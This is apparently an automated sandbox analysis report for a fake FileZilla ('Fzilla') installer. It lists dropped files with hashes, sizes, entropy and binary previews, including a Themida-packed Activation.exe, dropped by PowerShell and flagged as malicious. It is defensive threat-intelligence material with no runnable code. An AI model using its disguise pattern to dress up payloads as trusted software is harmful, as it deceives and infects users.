SHA-512:	07DC92D90E9451D237C07DBBE677D2B7DACE8D31D50F7BB2673939CB64EC4E0A2ED760EF1F612FDB792353B10B7C1DCEB463CA1C9319248FBBFA63B90F0C393E
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................{E1D44D44-2C84-4112-80AA-2DC406D85A11}}.........................................................................................Fzilla...................................................................................................................................C..............................................................................................................................tf........s........5.8.5.9.4.8......b.r.o.k......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a....................... ........................C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a......C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.t.a.r.t. .M.e.n.u.\.P.r.o.g.r.a.m.s.\.F.z.i.l.l.a......F.z.i.l.l.a......e.n.g.l.i.s.h.b.r.i.t.i.s.h.............@........C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a........d........C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a.\.A.U.

C:\Program Files (x86)\Fzilla\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3391029
Entropy (8bit):	6.5176517365945275
Encrypted:	false
SSDEEP:	98304:PJYVM+LtVt3P/KuG2ONG9iqLRQE9333TK:eVL/tnHGYiql5FK
MD5:	EE0853EED37530F2C0885B574BBBB35B
SHA1:	DFE132771BA69E289B80DD20F3852B848D526ECD
SHA-256:	E8358851127192192E19BC90EF7B49ABD1FC8B6F42EA67602B3005E3DC6CFF22
SHA-512:	6221A30D936BEF74DEE38F5961EA42F173DF774A6F48406EAC86C643D18A34967D5A63607233DB92C1B1D3A8C23B909B3650E9EB65D8441618D777BAFFFB8ECA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Fzilla\uninstall.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	102389
Entropy (8bit):	7.060881756904112
Encrypted:	false
SSDEEP:	3072:LnPdzuK8Jdw4TMJw3u4Psvbu2xXGGGGGGGGHGGGGGGGGGGGGGGGGGGGGGGGGGGGT:LnPdudwDUPabueGGGGGGGGHGGGGGGGGs
MD5:	876EA9087D9A61D5A30BFA0E20DC6536
SHA1:	7B27EE0095D9447B4DE56BAFF28C263871910A61
SHA-256:	31A8675ABA5F63423939E361ECD09F3A5D0922AF5F7A102000E0CD81B8EB0BB9
SHA-512:	696627812512FDAA0791E8C8EADBC5D56D82B8AC1AFFE128650E669D1FC8F608A1704CA7B18159137F7A8F97CE3EE3786532CD8908858F3BB464CAD918FC2C4A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L...g.d.................h..."......E6............@.................................~.....@.............................................................H0...........................................................................................text....f.......h.................. ..`.rdata..X............l..............@..@.data...x...........................@....ndata...p...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Fzilla\wxbase32u_gcc_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1834568
Entropy (8bit):	6.2936556054013995
Encrypted:	false
SSDEEP:	49152:KRrndVVhHn/uy9dG8e4QbyKK/0QXcD0nne/9IvypSHdoVuE:KRzjD/uOa
MD5:	8427C77D9B6D1CAA6CD9CDABA2B5CDDD
SHA1:	E345BFF441E24E545E2700F4C7BC53512A88AD3D
SHA-256:	9133664CFB764C1C5E6D7BB61971FDF28EBAC39F97F46E4B95D840776CEA5104
SHA-512:	5BCC34F45858DCE875092769B5CBB965058F74FB47AF995C615530B9E6CE3FC1641562C89D3ABF37750795D9ADF4FA6C1D46BF03A8CD7EA36D695018E41A2016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(............ .........%K.............................@............`... ..................................................A...........P..........H0.......?...........................x..(...................P...`............................text...............................`..`.data....=.......>..................@....rdata.......0......................@..@.pdata.......P.......*..............@..@.xdata..............................@..@.bss.....................................edata...............R..............@..@.idata...A.......B...B..............@....CRT....X...........................@....tls................................@....rsrc...............................@....reloc...?.......@..................@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\wxbase32u_xml_gcc_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	240712
Entropy (8bit):	6.328488485792127
Encrypted:	false
SSDEEP:	3072:WJjNa9pUfMtALsdAa3o8/BZzLVhtE4EaAgGJokkrRmLSaqF/z7MGHytZoXLar+Ne:e09pUfAcsqaPNhtEgTAFlLUytZo7aiNe
MD5:	936228E06FF2A7B4FDCE8F1DF34F8B0D
SHA1:	B730A6702459B4CF87528BE87D33928D89543AB2
SHA-256:	751F69B699356099CCB962FE42509DCE116B15425F1FB426655355FC466D1CE9
SHA-512:	809995C5FEC0ED93C8690ED6205FE50F198AA742BE8F01E3E0A367CAD7FF1AF0461D8D9AFF7E90A88142DCACF92CDA47CB5CB9F3E69411C5B043841B24533D61
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.....x...... .........$)....................................Y.....`... ..............................................................@.......\|..H0......@...........................`2..(...................`................................text...............................`..`.data...............................@....rdata...l.......n..................@..@.pdata.......@......................@..@.xdata.. ....`......................@..@.bss.....................................edata...............H..............@..@.idata...............T..............@....CRT....X............n..............@....tls.................p..............@....rsrc................r..............@....reloc..@............x..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\wxmsw32u_aui_gcc_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	506952
Entropy (8bit):	6.274533174613519
Encrypted:	false
SSDEEP:	12288:CudHeLTOkfbIlqYU6W4ZXppA6V+QwqBFd1FpQTzXaGU12p4jGLyyy6fE:HoLTOSgw4ZXppzV+QwqBFd1FpQTzXaGo
MD5:	42840F69814A9E9CAA351F07888ABADC
SHA1:	611E6C7881256E2ECFD2D8580C4DF63B3E202B4D
SHA-256:	140BA3865DEE4E02168634BF4C301D81230122E4E60D383EF002E984B8569D23
SHA-512:	23C7A0F8EE4F3EDA26BB866BD51E457598A229450D08EC9A4BBEF0538B50F02CB088D8BE3CF8B82E0B2DD30C034A11A96B87C581166C4B55D88233C088BE8DFF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(............ ........................................ ......y.....`... .............................................. ...................1......H0...................................K..(....................7...............................text...X...........................`..`.data...0...........................@....rdata..L....0......................@..@.pdata...1.......2..................@..@.xdata..hf.......h..................@..@.bss.....................................edata...............D..............@..@.idata....... ......................@....CRT....X............l..............@....tls.................n..............@....rsrc................p..............@....reloc...............v..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\wxmsw32u_core_gcc_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5229128
Entropy (8bit):	6.334359177021081
Encrypted:	false
SSDEEP:	49152:8vZGMb+xf9AgedrjI6I/EqKuX1ZCwFa7ZUdT/ntyzlZItm4NTUem8ZA3CPn7GunX:88Ag8jQ/FTXRYUJt9tm4hU+/v
MD5:	E7B0FAD08FC553C4E3EF11A3D41A732A
SHA1:	37714AAF8DCE7DF30C7037B39B2920A9D3D8E5AF
SHA-256:	92CBA37DD295068D86FCCC307FE2E0EF670B8D2C0E6B91623E56D711F2D237B4
SHA-512:	D6D030AC7BC1C60AD2191F2952FB804FB35EA1977FD8681B0E52566F50F605050C4B7960A95B9BA92D5B8392095050E55A804BB5C0E1EC6B04112D0A889703E4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(..,...O..... .........................................P.....S.P...`... .......................................G......0M...... N. .....@..=....O.H0...0N.@............................C2.(....................RM.(!...........................text...h.,.......,.................`..`.data....i....-..j....,.............@....rdata..DP...p0..R...Z0.............@..@.pdata...=....@..>....@.............@..@.xdata........C.......B.............@..@.bss..........G..........................edata........G.......F.............@..@.idata.......0M.......L.............@....CRT....X.....N.......M.............@....tls..........N.......M.............@....rsrc... .... N.......M.............@....reloc..@....0N.......M.............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\wxmsw32u_xrc_gcc_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	746568
Entropy (8bit):	6.1959342246749545
Encrypted:	false
SSDEEP:	12288:0azXhE63d1Y1q3RbN77vizzBiPpS325us/lrc30aSAJGXucjGsywB+:0aT9cqhh+BwpSm5dlrc30aSAJGXucjGj
MD5:	A0ACFE27DC5AA4640957DBEA134BA82C
SHA1:	41DD557A2AD8E7BDC5ADE9E9C826D9B1C8F32345
SHA-256:	C60DED040535A59D6404E7C8145C0CFF68D5F696DA1F5BF383B4E35859CB6BED
SHA-512:	65DA5E4FBCA9A57998C7C0C3CE7D783C195303311C8F29B4A955969236201A62B70232CE4D2F5E01909EF73661F85F556DFD04C511420BB98A06C60A06472A74
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.J...0...... .........8...........................................`... ..............................................p.......p..........0?...4..H0...................................,..(.......................h............................text....H.......J..................`..`.data....0...`...2...N..............@....rdata...<.......>..................@..@.pdata..0?.......@..................@..@.xdata..`.... ......................@..@.bss.....................................edata..............................@..@.idata.......p......................@....CRT....X....P......................@....tls.........`......................@....rsrc........p......................@....reloc..............................@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\zlib1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	145992
Entropy (8bit):	6.628828443358425
Encrypted:	false
SSDEEP:	3072:LDMD3+SQ1Vwm4Mn7/STiHpgh2khtUUFVN1n:LoySQZ/KpphtJPN1n
MD5:	D71DA6DDA3CB605282C139C92BCDA249
SHA1:	061047B8B14728C33C0018611F3E3BFEBC43CC75
SHA-256:	9962CC2BF97DF84FEAEE0FE917287DC2A369C2EC9CE3955F113526B7D97387A4
SHA-512:	5AFA137391DDBCE17204E9B7737C6EF42FEA176419A224A58583D03363246A27224F26E89344A7D559E885A2B79A45C61C08E092625356B60445ECE2B50E47F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...#.~..........P..........b....................................._....`... ......................................0.......@..8....p..................H0......................................(....................A..p............................text....}.......~..................`..`.data...............................@....rdata...W.......X..................@..@.pdata..............................@..@.xdata..............................@..@.bss......... ...........................edata.......0......................@..@.idata..8....@......................@....CRT....X....P......................@....tls.........`......................@....rsrc........p......................@....reloc..............................@..B................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Fzilla\??????? Fzilla.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Dec 4 13:12:11 2024, mtime=Wed Dec 4 13:12:11 2024, atime=Wed Dec 4 13:11:54 2024, length=3391029, window=hide
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	4.591905964419318
Encrypted:	false
SSDEEP:	24:8m6o6gEw90dOExdoUL7chXAsPqAdZodNgUUhp53j2wqygm:8mlWg0dO1wsyAdZodNVS3j25yg
MD5:	9109A12B5E7765A15800E2DDB8C6694E
SHA1:	C866C0580D40CF915D6CD8B9179F557F9D4E8565
SHA-256:	91CB27D827AFAD741077AEE4C586F5CB969CA4629EBBE12DBFE0BBC3064AC557
SHA-512:	D43847EEDBB1E7EC72CAF1B26C2A556BD905883B3EF0667902C6E04A0BDA3EDD7DD25047C48F45C54027271C06673D198337E9B81EB0C367488B07FDAC5A8099
Malicious:	false
Preview:	L..................F.... ...%M.VF..W..VF..o..xVF..5.3..........................P.O. .:i.....+00.../C:\.....................1......Y.q..PROGRA~2.........O.I.Y.q....................V...... W.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....T.1......Y.q..Fzilla..>......Y.q.Y.q....A......................I .F.z.i.l.l.a.....f.2.5.3..Y\|q .unins000.exe..J......Y.q.Y.q....C.........................u.n.i.n.s.0.0.0...e.x.e.......Y...............-.......X...........2.8......C:\Program Files (x86)\Fzilla\unins000.exe..9.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a.\.u.n.i.n.s.0.0.0...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a.+.%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.F.z.i.l.l.a.\.i.c.o.n.s.\.w.i.z.a.r.d...i.c.o.........*................@Z\|...K.J.........`.......X.......585948...........hT..CrF.f4... ....jc...+...E...hT..CrF.f4... ....jc...+...E..............1SPS.XF.L8C....&.m.q...........

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Fzilla\Fzilla.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Dec 4 13:12:11 2024, mtime=Wed Dec 4 13:12:11 2024, atime=Mon Jul 15 15:02:54 2024, length=4237896, window=hide
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	4.575741797902604
Encrypted:	false
SSDEEP:	24:8m0BxfvCEedOEQdcY3HAnqIdddB6UUhpx2wqygm:8m0BxfdedOkqIdddBbq25yg
MD5:	44FA198FAC44889A513203B2EF850B72
SHA1:	F80ACD324C948218068FB962E14077893FEA4836
SHA-256:	8345129581996314C59CD5108CA348E5380BD394044F4D37AD78308FDDC8C42A
SHA-512:	ED187D7F3B2FA1E38D78DE76AE8F770268682FAE09885EB6BCB9A9CB6348085C3ADD7B8D11CC79E9B89EDB461FD966D2F404889B65AD471D30B0EC5715EBD92A
Malicious:	false
Preview:	L..................F.... ......VF...r..VF....}s....H.@..........................P.O. .:i.....+00.../C:\.....................1......Yyq..PROGRA~2.........O.I.Yyq....................V......j..P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....T.1......Y.q..Fzilla..>......Y.q.Y.q....A.......................0.F.z.i.l.l.a.....h.2.H.@..X[. .FILEZI~1.EXE..L......Y.q.Y.q....G.........................f.i.l.e.z.i.l.l.a...e.x.e.......Z...............-.......Y...........2.8......C:\Program Files (x86)\Fzilla\filezilla.exe..:.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a.\.f.i.l.e.z.i.l.l.a...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.F.z.i.l.l.a.'.%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.F.z.i.l.l.a.\.i.c.o.n.s.\.e.x...i.c.o.........*................@Z\|...K.J.........`.......X.......585948...........hT..CrF.f4... .l...jc...+...E...hT..CrF.f4... .l...jc...+...E..............1SPS.XF.L8C....&.m.q............/.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Activation.exe_26ab4a80649226ef72b617f0363ab7e580802da1_849d4886_2f192ed2-5ee4-4768-a5f2-02fb36e277e8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.30797717053124
Encrypted:	false
SSDEEP:	192:P30Kbrmv/hf0BU/gjA/RTJZrkaWzuiFfZ24IO8+:f0K+XKBU/gjIQaWzuiFfY4IO8+
MD5:	5672BC311691885BBC9C536B736CEE80
SHA1:	543D156C149FEB5F213CA154F5FBBCAF26DD62CB
SHA-256:	4873F4CAE248A4D1CDE36C4DF5A817A489C730FA4DF2D6A261A32CC9A4E9CC46
SHA-512:	A61CD136BF9411B3BDE7D965937B74576A94E6D5DFCC2A0A64B465BC83BC48F9428A60019E3A7056281123D4B4C7DD8D3882C54FED2AF614EAD70E1B37DCFA0B
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.7.9.5.1.7.5.1.8.3.1.1.9.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.7.9.5.1.7.6.4.6.4.3.6.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.1.9.2.e.d.2.-.5.e.e.4.-.4.7.6.8.-.a.5.f.2.-.0.2.f.b.3.6.e.2.7.7.e.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.7.e.6.5.2.0.1.-.7.4.8.c.-.4.7.5.8.-.a.8.0.9.-.c.3.c.5.c.3.4.7.5.e.f.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.A.c.t.i.v.a.t.i.o.n...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.q.b.i.t.t.o.r.r.e.n.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.f.c.-.0.0.0.1.-.0.0.1.3.-.a.0.4.0.-.6.3.8.f.5.6.4.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.2.2.b.f.c.a.6.f.a.2.b.5.2.d.5.2.1.f.6.1.a.f.e.0.8.a.c.e.8.c.7.0.0.0.0.0.9.0.4.!.0.0.0.0.b.a.e.c.5.2.5.e.2.5.7.8.6.a.3.7.8.7.b.9.0.b.3.0.0.a.3.8.3.f.8.1.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC058.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 4 14:12:56 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	375050
Entropy (8bit):	3.4178823449605247
Encrypted:	false
SSDEEP:	3072:SXRCtFhjUNQI/e7y37L777KGg4uEq+xRazNLTgP3ar:SXRY4Nj/eyng4tMpTgP
MD5:	E05D1E9BBF67ACBE3FF09F4512D3D632
SHA1:	D39371A020514BA6E29FB54D72FF7B3B3E1A704E
SHA-256:	6569C06595F6FC29C4C0973F3E99F81FB7864A41AEE2F4439903D16E7A421650
SHA-512:	0254AC14BC1B6AFA3014E142540C6C3B886E242813E296BC9B78CD0C2E4718B55C237D07C054C763683F7E3FF8C88E1A3FB91202944466BBD093912E65283734
Malicious:	false
Preview:	MDMP..a..... .......hcPg.........................%..........<...h0......$-...y..........`.......8...........T...........x`...X...........0...........2..............................................................................eJ......(3......GenuineIntel............T...........PcPg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC441.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8382
Entropy (8bit):	3.691566072004695
Encrypted:	false
SSDEEP:	192:R6l7wVeJPa6W2B6Y776DSPgmfZRXprV89bs6sfegEm:R6lXJS6B6YX6GPgmf/YsZfeS
MD5:	C56A440E44CE6FC8C86CBA655373C0AC
SHA1:	6C3F0540D032B091DAA1C3204DFE07A602DC883B
SHA-256:	6B0B9C10ABC9F9D3B4CA37BBE09330999F275CD8EA73AB7E6358D64620A69F10
SHA-512:	4838EC3A9D37BB028575D1DD672AC801E711B2EFCFB31928C99E9D2B273A1C578547664DD5F854EA61EB21F068C09FBA493B7C2CE21E80B3BD02243C2778C632
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC471.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4755
Entropy (8bit):	4.458544628662446
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZlJg77aI99SWpW8VY7vYm8M4JM3FB+q8vqmpxiKFqnd:uIjf1I7/z7VbJaKTiKFqnd
MD5:	C80A7D20E4E024EDFC0B68748E8BA2BE
SHA1:	B22B00E7FE5C0E666CEE4B30509E5D5562EAAABB
SHA-256:	0EFE04474E41F98BDF53B16B458DF71E24BE97C5FA79D75F797DC880E565ED69
SHA-512:	8511B8A379C8BD7BF47EDF768DD83292220BB84DFF358D4CA03F0B47215B73DE7346C4094F2703368F9CBF7046887F9DD71DFB1D316168D67670349CAE3CC392
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="616635" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Activation.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3361979
Entropy (8bit):	7.958368471713319
Encrypted:	false
SSDEEP:	98304:Jj3eS6htWV1940j0wk0IySMGfEsiC0BDm+:0S67WVRjplgMJRVb
MD5:	AA3A94BA72728DF41A815B060F5E9C52
SHA1:	BAEC525E25786A3787B90B300A383F814E65377D
SHA-256:	573A6686DBA8217E51B0C4FD9B041A4BF3CE193D6BE69E201A6EDCEFA3DC42E6
SHA-512:	99772AA3F7837A205F1657730CAFC93D8BDCD3CD3826669402F344DB5BA28D48C84521DBA2A7EAB2E7A0C5B3B064FE8C364B9665D03253A94F6177565EF82962
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z=Pg.........."...0.............X.V.. ........@.. .......................@......Ml3...`.................................:@..P....`.............................................................................................................. ..... ..j................... ..` ............................@..@ ..... ......................@..B.imports. ...@......................@....rsrc.... ...`......................@..@.themida.`T.........................`....boot....Z2...V..X2.................`..`........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\FileZilla\default_cancel20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.678942978649395
Encrypted:	false
SSDEEP:	24:pQtzsVjToMIdS0jPhn0PlZ+BY5fE2R+ntHfOf/n:SsBToMQS0t0PREkCQ/n
MD5:	6BE7EED3137A96DACD17950450172DA7
SHA1:	1431F6DCB4B937A1CD78819EC0D5B1204E26D66C
SHA-256:	16DE9E9B70D7972B3A23116EA4D32E3E6F289A2B1516B5D8CE66883680CCF6FD
SHA-512:	CF10DD421624ECE1D3C00B395FC7868250C6B63A1C6A6AA78C699844E31E1F64725DC0F596A42DA95109D983E755B6FE1E8DA4DFCC912328887DA87B16231E1B
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...AhSY...s..Fl.. :.'C....7".YH.Q.n...C...E.u#....V..Y.F:3.#Hm.....hu\t.j.....&...w\4.I......9..{....'.m.v.-.+......._ .7.zjU....p4..H.......i....M....+.j.pODZd.F.Y..D.{Wij..o.d....d.t.H.s.R...2......@1........f.3Fd....gl..p.Q.. ....#..,^Lf.....Y....?.z...EV.....3..v.....}.c.Q.C.~^.."rp?...HY.,.z...E.#.ls]}.`n.W#.2....8.4b..gO.\|.s......'.m..\|.az.....c..~B.n.P......... ...0=..z7...;.x.G...y..~'.........Ws.....[.0.....ni...T'(.....ov.........b.k..c..@[u.P?p..Xj...i2...D...^..8..Q6\.....D...w.#...".."R...6..`.,..o....#..sI...9.....V #.....D....."Uu..m...?...'t8.]_.....3.........2..9...V])"..4.I.=}r,q.p...<_w3iw..k....".E.~........O..Y.Y..s.{............H.S..U..N..J9.h....9... ...5._-dd....2}...`.R.J.....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_cancel24x24.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
